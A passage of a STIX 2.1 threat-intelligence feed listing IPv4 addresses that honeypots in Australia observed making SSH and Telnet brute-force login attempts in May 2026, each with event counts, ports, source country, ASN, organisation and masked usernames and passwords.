      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.215.212.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:16:01.000Z",
      "valid_until": "2026-06-05T03:15:08.000Z"
    },
    {
      "created": "2026-05-04T03:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, **, c******r, d***d, d****y. Passwords observed (masked): 1****6, ***, *, 1****1, A******5.",
      "id": "indicator--997f6701-097e-4b5c-8bb8-25722c9444b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T03:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:16:01.000Z",
      "valid_until": "2026-06-05T03:15:08.000Z"
    },
    {
      "created": "2026-05-04T03:16:01.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC.",
      "id": "indicator--84204ce5-d68c-4613-bcff-4b2449a333f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T03:16:01.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.188.249.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:16:01.000Z",
      "valid_until": "2026-06-05T03:15:08.000Z"
    },
    {
      "created": "2026-05-04T04:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--62c234ac-35c8-4500-88a7-d8b541f2b65b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.221.105.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T04:15:17.000Z",
      "valid_until": "2026-06-05T04:15:09.000Z"
    },
    {
      "created": "2026-05-04T04:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--a2ae2c8c-09a1-43d7-b370-4cb85292f8e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.253.140.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T04:15:17.000Z",
      "valid_until": "2026-06-05T04:15:09.000Z"
    },
    {
      "created": "2026-05-04T04:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--bd7b4859-9b45-4ec2-8241-5882d435499b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.33.23.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T04:15:17.000Z",
      "valid_until": "2026-06-05T04:15:09.000Z"
    },
    {
      "created": "2026-05-04T04:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4c4f4420-d7e0-48c5-b2d4-e33b89a47947",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.26.188.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T04:15:17.000Z",
      "valid_until": "2026-06-05T04:15:09.000Z"
    },
    {
      "created": "2026-05-04T04:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--04e7dcbc-52f7-4ff0-befd-302917d3a6cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.140.70.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T04:15:17.000Z",
      "valid_until": "2026-06-05T04:15:09.000Z"
    },
    {
      "created": "2026-05-04T04:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7973f2c6-83f3-42d8-b8a8-b02a45b62f44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.53.141.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T04:15:17.000Z",
      "valid_until": "2026-06-05T04:15:09.000Z"
    },
    {
      "created": "2026-05-04T04:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--0bcd4856-8b43-4668-8e32-c9fdf02a733d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.62.184.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T04:15:17.000Z",
      "valid_until": "2026-06-05T04:15:09.000Z"
    },
    {
      "created": "2026-05-04T04:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T04:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T04:15:17.000Z",
      "valid_until": "2026-06-05T04:15:09.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9981. Organisation(s): Saero Network Service LTD.",
      "id": "indicator--e30f8de9-5989-4d91-b0d8-8ff7ab28a00f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.59.150.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 158. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, u**r, b*********e, ***. Passwords observed (masked): p******d, 1**4, 1***5, 1****6, 3******t.",
      "id": "indicator--e687824c-59b0-49cf-ae50-f3b8dc5a996d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.209.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 337. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, d*******r, m*****r, ***. Passwords observed (masked): 1****6, a***n, 1****1, 1**4, 1***5.",
      "id": "indicator--c2ba99fc-a7f9-41fe-ba4a-9c60a34ecf1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.99.171.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 530. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, t**t, c***o, u**p. Passwords observed (masked): 1**4, p******d, 0**************D, 1****6, a***n.",
      "id": "indicator--1f56be05-ff63-4e8d-8941-e48e6069791c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.99.172.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--577d1b59-bfb8-41c6-84c7-344532aeee2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.128.173.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52339. Organisation(s): Lima Video Cable S.A. Cabletel.",
      "id": "indicator--7346256b-3e79-4944-a169-1552a8f143ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.72.31.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 128. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--1b331ab3-4c2d-4001-a32d-36734d16acc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.91.122.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 8167. Organisation(s): V tal.",
      "id": "indicator--6b461188-b227-4989-bfeb-6370db1a86b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.6.134.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266550. Organisation(s): WTD TELECOM.",
      "id": "indicator--33c44627-069d-446e-b2ff-eed10330357e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.140.64.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): ***. Passwords observed (masked): .",
      "id": "indicator--777b7d59-4304-4968-a374-009f7b4f8b38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--79b94aa4-f50e-44f1-9731-11aca4d75734",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--235bf2b1-4d54-4aae-bfaf-305d4b352c54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--b103ec95-ea3e-4a33-8a24-9dd181814e53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.42.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--c18e2918-ebe4-4584-8d2f-256ad92eca6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.189.195.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--216fae99-99e9-4296-adf5-ee8f39bf4f29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.84.183.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--686cf630-3554-4a68-bd3d-161eaff51a49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.134.129.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 5432. Organisation(s): Proximus NV.",
      "id": "indicator--9e10eb84-33a2-433f-8d74-ec699894a36f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.180.94.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:15:10.000Z",
      "valid_until": "2026-06-05T05:15:08.000Z"
    },
    {
      "created": "2026-05-04T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 134655. Organisation(s): PT. DUMAI MANDIRI NET.",
      "id": "indicator--51311d70-23ec-4119-a529-0b7066f10c7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.131.245.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:15:10.000Z",
      "valid_until": "2026-06-05T06:15:08.000Z"
    },
    {
      "created": "2026-05-04T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 134655. Organisation(s): PT. DUMAI MANDIRI NET.",
      "id": "indicator--557cbe16-cd0b-494b-a5f6-53147014989f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.131.245.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:15:10.000Z",
      "valid_until": "2026-06-05T06:15:08.000Z"
    },
    {
      "created": "2026-05-04T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 29852. Organisation(s): Honest Networks, LLC.",
      "id": "indicator--ef063e56-9da0-44ef-ad93-41e1360802c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.155.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:15:10.000Z",
      "valid_until": "2026-06-05T06:15:08.000Z"
    },
    {
      "created": "2026-05-04T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 21565. Organisation(s): Horry Telephone Cooperative, Inc..",
      "id": "indicator--4104f353-8629-4a27-bb5a-82ccc4fe5dae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.117.160.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:15:10.000Z",
      "valid_until": "2026-06-05T06:15:08.000Z"
    },
    {
      "created": "2026-05-04T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--6ea68fc7-1aa1-45f3-9b17-df09868f703c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.245.66.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:15:10.000Z",
      "valid_until": "2026-06-05T06:15:08.000Z"
    },
    {
      "created": "2026-05-04T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 274036. Organisation(s): GBIT TECNOLOGY C.A.",
      "id": "indicator--84c45ad7-808a-45e6-a56f-8d0e6fc8a665",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.211.61.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:15:10.000Z",
      "valid_until": "2026-06-05T06:15:08.000Z"
    },
    {
      "created": "2026-05-04T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): G************1, U****************************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--0e02c810-f945-4b0c-a963-9e6970487d34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.79.181.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:15:10.000Z",
      "valid_until": "2026-06-05T06:15:08.000Z"
    },
    {
      "created": "2026-05-04T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 58470. Organisation(s): IX Peering for Mobilink and Link Direct International..",
      "id": "indicator--6ebf7e3f-9ec1-485b-aac3-8fc019252934",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.73.59.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:15:10.000Z",
      "valid_until": "2026-06-05T07:15:09.000Z"
    },
    {
      "created": "2026-05-04T07:15:10.000Z",
